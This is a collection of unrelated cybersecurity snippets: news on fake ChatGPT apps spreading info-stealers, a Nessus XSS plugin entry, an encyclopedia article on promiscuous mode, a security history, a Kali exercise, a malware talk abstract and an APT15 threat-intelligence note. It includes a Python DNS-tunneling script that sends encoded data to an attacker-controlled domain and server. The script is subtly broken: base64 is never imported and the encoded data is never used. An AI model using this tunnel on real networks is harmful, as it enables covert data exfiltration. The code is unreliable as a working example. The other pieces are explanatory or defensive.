Read more of Kevin Fogarty's CoreIT blog and follow the latest IT news at ITworld. Follow Kevin on Twitter at @KevinFogarty. For the latest IT news, analysis and how-tos, follow ITworld on Twitter and Facebook.
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Exploiting the popularity of ChatGPT – threat actors are found to be distributing phishing pages and malware to unsuspecting users.
Some noted by security researchers and firms point at different domains impersonating Open AI or ChatGPT – asking users to download them for free access to the chatbot. Unsuspecting users installing them may risk losing their sensitive data on the device, which may further lead to money theft too.
Distributing Fake ChatGPT Apps
ChatGPT, the conversational AI chatbot that stirred the entire technology industry in recent months, launched a premium subscription earlier this month. This is to limit the free users hopping on it with senseless questions and dedicate the tech to those who really need it.
While it’s a logical move to push the server costs onto users, this subscription space has also opened operational space for the hackers, who’re distributing malware and phishing pages for unsuspecting users online.
Posing as free ChatGPT apps (even though the service is only available on the web), hackers are disturbing fake apps and websites via Play Store and on the web. Some were noted by a security researcher Dominic Alvieri, who explained with an example of the domain “chat-gpt-pc[.]online” – which is being promoted on the web and via a Facebook page.
Chat GPT PC Online Redline redirect.
I redirected it to closed.
— Dominic Alvieri (@AlvieriD) February 12, 2023
Redirecting users to this website, the hacker is spreading Redline info-stealing malware under the guise of offering the ChatGPT Desktop app for Windows. The researcher further spotted a bunch of fake ChatGPT apps promoted on Google Play and in third-party Android app stores.
Google first page Chat GPT Google Play Store fake apps.
— Dominic Alvieri (@AlvieriD) February 13, 2023
Adding to this, Cyble researchers noted several domains with similar malicious intent, spreading Aurora stealer and Lumma stealer. Some of the example domains they listed include “chatgpt-go[.]online”, “chat-gpt-pc[.]online”, “openai-pc-pro[.]online,” etc.
Also, there are over 50 malicious apps using the ChatGPT’s icon and its name to spread spyware aimed at stealing the user’s sensitive data on the device. To note, there are no Android, iOS, or desktop apps for this service. ChatGPT is only available on the web for $20 a month via the “chat.openai.com” website.
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This script is Copyright (C) 2003-2011 Tenable Network Security, Inc.
A web application running on the remote host has a cross-site
The remote host is running Tmax Soft JEUS, a web application
written in Java.
Input to the query string is not properly sanitized, which could
lead to a cross-site scripting attack. A remote attacker could
exploit this by tricking a user into requesting a maliciously
crafted URL. This would allow the attacker to impersonate the
See also :
Upgrade to the latest version of this software.
Risk factor :
Medium / CVSS Base Score : 4.3
CVSS Temporal Score : 3.7
Public Exploit Available : true
Family: CGI abuses : XSS
Nessus Plugin ID: 11764 (jeus_url_xss.nasl)
Bugtraq ID: 7969
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|This article needs additional citations for verification. (August 2015) (Learn how and when to remove this template message)|
In computer networking, promiscuous mode (often shortened to "promisc mode" or "promisc. mode") is a mode for a wired network interface controller (NIC) or wireless network interface controller (WNIC) that causes the controller to pass all traffic it receives to the central processing unit (CPU) rather than passing only the frames that the controller is intended to receive. This mode is normally used for packet sniffing that takes place on a router or on a computer connected to a hub (instead of a switch) or one being part of a WLAN. Interfaces are placed into promiscuous mode by software bridges often used with hardware virtualization.
In IEEE 802 networks such as Ethernet, token ring, and IEEE 802.11, and in FDDI, each frame includes a destination Media Access Control address (MAC address). In non-promiscuous mode, when a NIC receives a frame, it normally drops it unless the frame is addressed to that NIC's MAC address or is a broadcast or multicast frame. In promiscuous mode, however, the NIC allows all frames through, thus allowing the computer to read frames intended for other machines or network devices.
Many operating systems require superuser privileges to enable promiscuous mode. A non-routing node in promiscuous mode can generally only monitor traffic to and from other nodes within the same broadcast domain (for Ethernet and IEEE 802.11) or ring (for token ring or FDDI). Computers attached to the same network hub satisfy this requirement, which is why network switches are used to combat malicious use of promiscuous mode. A router may monitor all traffic that it routes.
Promiscuous mode is often used to diagnose network connectivity issues. There are programs that make use of this feature to show the user all the data being transferred over the network. Some protocols like FTP and Telnet transfer data and passwords in clear text, without encryption, and network scanners can see this data. Therefore, computer users are encouraged to stay away from insecure protocols like telnet and use more secure ones such as SSH.
As promiscuous mode can be used in a malicious way to sniff on a network, one might be interested in detecting network devices that are in promiscuous mode. In promiscuous mode, some software might send responses to frames even though they were addressed to another machine. However, experienced sniffers can prevent this (e.g., using carefully designed firewall settings).
An example is sending a ping (ICMP echo request) with the wrong MAC address but the right IP address. If an adapter is operating in normal mode, it will drop this frame, and the IP stack never sees or responds to it. If the adapter is in promiscuous mode, the frame will be passed on, and the IP stack on the machine (to which a MAC address has no meaning) will respond as it would to any other ping. The sniffer can prevent this by configuring his or her firewall to block ICMP traffic.
Some applications that use promiscuous mode
- Packet Analyzer
- Virtual machine
- KisMAC (used for WLAN)
- AirSnort (used for WLAN)
- Debookee (used for WLAN)
- Cain and Abel
- Driftnet Software
- Microsoft Windows Network Bridge
- XLink Kai
- AccessData SilentRunner
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The cybersecurity history began with a research project. Let’s take a trip down memory lane and look at how cybersecurity has evolved through the decades.
A man named Bob Thomas developed a computer program that can move across a network. Thomas named the program Creeper and the small trail it leaves is the message “I’M THE CREEPER: CATCH ME IF YOU CAN.”
Ray Tomlinson, the inventor of email, saw this idea and liked it. Hence, he developed a self-replicating version of the program, making it the first computer worm. Furthermore, Tomlinson wrote another program named Reaper. Its job is to chase Creeper and delete it. Thus, Reaper is considered the first antivirus software in history.
The question is how did we get to the era of cybercriminal activities like ransomware and malware?
The Quick Turn
Before going any further on cybersecurity history, take note that threats to computer security back then were clear and present. However, these threats were not digital. Instead, they were malicious insiders reading documents they don’t have the privilege to.
Yet, network breaches and malware did exist. They were used for malicious intent during the early history of computers. For instance, the Russians swiftly began to use cyber power as a weapon. In 1986, Marcus Hess, a German computer hacker, breached an internet gateway in Berkeley. Then, he used that connection to access Arpanet (the early version of the Internet) without permission.
Hess hacked 400 military computers to sell the Pentagon’s secrets to the KGB. Yet, astronomer Clifford Stall detected the intrusion and deployed a honeypot technique. This ultimately led to the capture of Marcus Hess.
The Morris Worm and the Viral Era
Two years later, a man named Robert Morris wanted to measure the size of the Internet. Morris wrote a program designed to crawl across computer networks. Moreover, he used a known bug to infiltrate Unix terminals. The unique thing about this program was it can copy itself. However, the Morris worm replicated so aggressively that it had brought untold damage to the early Internet.
Morris became the first person successfully charged under the Computer and Fraud Abuse Act. He served three-year probation and is now a tenured professor at MIT.
After the Morris worm, viruses began getting deadlier, bringing more system damages. Furthermore, this has paved the way for the need for antivirus. In 1987, the first dedicated antivirus company launched into the market.
Ransomware Enters the Game
The concept was simple yet deadly – hackers would “kidnap” your files and you’ll pay a ransom. The WannaCry ransomware infected more than 230,000 computers in over 150 countries. An estimated 1.3 billion endpoints were eventually infected. WannaCry is considered the biggest ransomware offensive in history.
In the UK, the National Health Service needed to cancel approximately 20,000 appointments and operations due to WannaCry. Whether lives were lost remains unknown. But one thing is for sure – it crippled the country’s health service.
This was just the beginning of ransomware’s role in cybersecurity history. Up to our time, it remains one of the most popular methods used by hackers.
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(Python) DNS Tunneling by Thomas Roccia
Created the Tuesday 13 December 2022. Updated 12 months ago.
This code uses the dnslib and socket modules to encode the specified data as a base64 string and send it as a DNS query to the specified DNS server. The DNS query uses the domain name and subdomain that the attacker controls, with the encoded data as the subdomain label. The code then receives a DNS response from the server, decodes the data payload, and prints it.
import dnslib import socket # Replace with the IP address of the DNS server dns_server = "188.8.131.52" # Replace with the domain name and subdomain that you control domain_name = "example.com" subdomain = "tunnel" # Replace with the data that you want to transfer data = b"hello" # Encode the data as a base64 string encoded_data = base64.b64encode(data) # Create a DNS query with the encoded data as the subdomain label query = dnslib.DNSRecord.question(subdomain + "." + domain_name) # Send the DNS query to the DNS server dns_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) dns_socket.sendto(query.pack(), (dns_server, 53)) # Receive the DNS response from the DNS server response = dnslib.DNSRecord.parse(dns_socket.recv(4096)) # Decode the DNS response and extract the data payload decoded_data = base64.b64decode(response.rr.rdata.label) # Print the decoded data print(decoded_data)
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Exercise 4, Chapter 8 - Kali MultiArch
This will be a fun exercise because it is fairly simple, uses some of the package commands you've learned and allows you to run Windows programs from within Kali, thanks to Wine. However, it may sound a lot more complicated than it is because you will have to install a foreign architecture (i386).
- Add the 32 bit architecture option to your Kali instance using dpkg.
- Install wine32
- Run the Windows ipscan program using Wine.
Asciinema solution (copy and paste from video permitted). Note that asciinema didn't handle the final wget command properly. See the text solution for the details:
The solution is fairly straight-forward. However, do not miss the i386 command. This is the turning point of the exercise, where we operate in a
root@kali:~# wine it looks like wine32 is missing, you should install it. multiarch needs to be enabled first. as root, please execute "dpkg --add-architecture i386 && apt-get update && apt-get install wine32" Usage: wine PROGRAM [ARGUMENTS...] Run the specified program wine --help Display this help and exit wine --version Output version information and exit root@kali:~# dpkg --print-architecture root@kali:~# dpkg --add-architecture i386 root@kali:~# dpkg --print-foreign-architectures root@kali:~# i386 # change architecture in new program environment # apt update # apt install wine32 # wget https://sourceforge.net/projects/ipscan/files/ipscan2-binary/2.21/ipscan221.exe/download -O ipscan221.exe # wine ipscan221.exe
Food for thought
- apt-cache search nmap….why is the tool “atac" in the results?
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lecture: Cloudy With a Chance of Malware
Analyzing the Links Between KASPERAGENT and Cloudy Malware
In 2017, KASPERAGENT and a malware we’re calling Cloudy were identified emanating from threat actors operating in the Middle East and possibly targeting individuals in the Palestinian Territories. The threat actors used decoy documents with Palestinian Authority letterhead and a unique dropper to deliver the malware. In this presentation we’ll discuss these two malware variants and potential connections between the two, focusing specifically on analytical techniques researchers and security personnel can use to analyze this and similar activity in the future.
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On June 18th, malware researcher, Jay Rosenberg released some interesting findings on a binary that was analyzed by the company Intezer. The code was retrieved through VirusTotal hunting. VirusTotal is a tool used by the global cybersecurity community that allows users to upload suspicious executables to an engine to check if antivirus vendors detect anything bad about the file. The Intezer analysis revealed that the binary shared code with a remote access tool (RAT) was very similar to the code that had been mentioned in the 2017 campaign documented by NCC Group where the hacker group APT 15 had hacked entities within the UK Government.
This indicates that the group APT 15 had built a variation of their RoyalAPT malware mentioned by the NCC Group. This malware could’ve then potentially been used to perform a separate attack perhaps on an additional entity. During the article, the author states “Coincidentally, following the recent hack of a US Navy contractor and theft of highly sensitive data on submarine warfare, we have found evidence of very recent activity by a group referred to as APT15, known for committing cyber espionage which is believed to be affiliated with the Chinese government.” This infers that the author believes the MirageFox and US Navy Contractor hack are tied together. As a result, we have seen additional sources claiming that APT 15 was likely behind the US Navy hack of Operation Sea Dragon. We’d like to point out that the findings of the malware author do not prove this and this is only based on speculation at this time.
Some very interesting findings in the report are the command and control used within the binary. The IP address of the call home was 192.168.0.107. This is an internal IP address used within internal networks. This indicates that the command and control server was on the inside of the network, possibly on a VPN. This is a very abnormal configuration from the attacker and will throw off several types of perimeter security controls without special configuration.
The Proficio Threat Intelligence Recommendations:
- Block hashes of IOCs on the corporate endpoint solution if possible. The researcher stated the binaries at the time of research had a low antivirus detection rate.
- Note the internal command and control server and think about this type of attack when configuring perimeter IDPS technologies that look for outbound traffic as a means of command and control.
- Potentially treat your internal VPN network ranges as an external network when configuring your IDPS controls. The organization will have to validate this will not result in false positive IDPS triggers.
Source of analysis – Click Here
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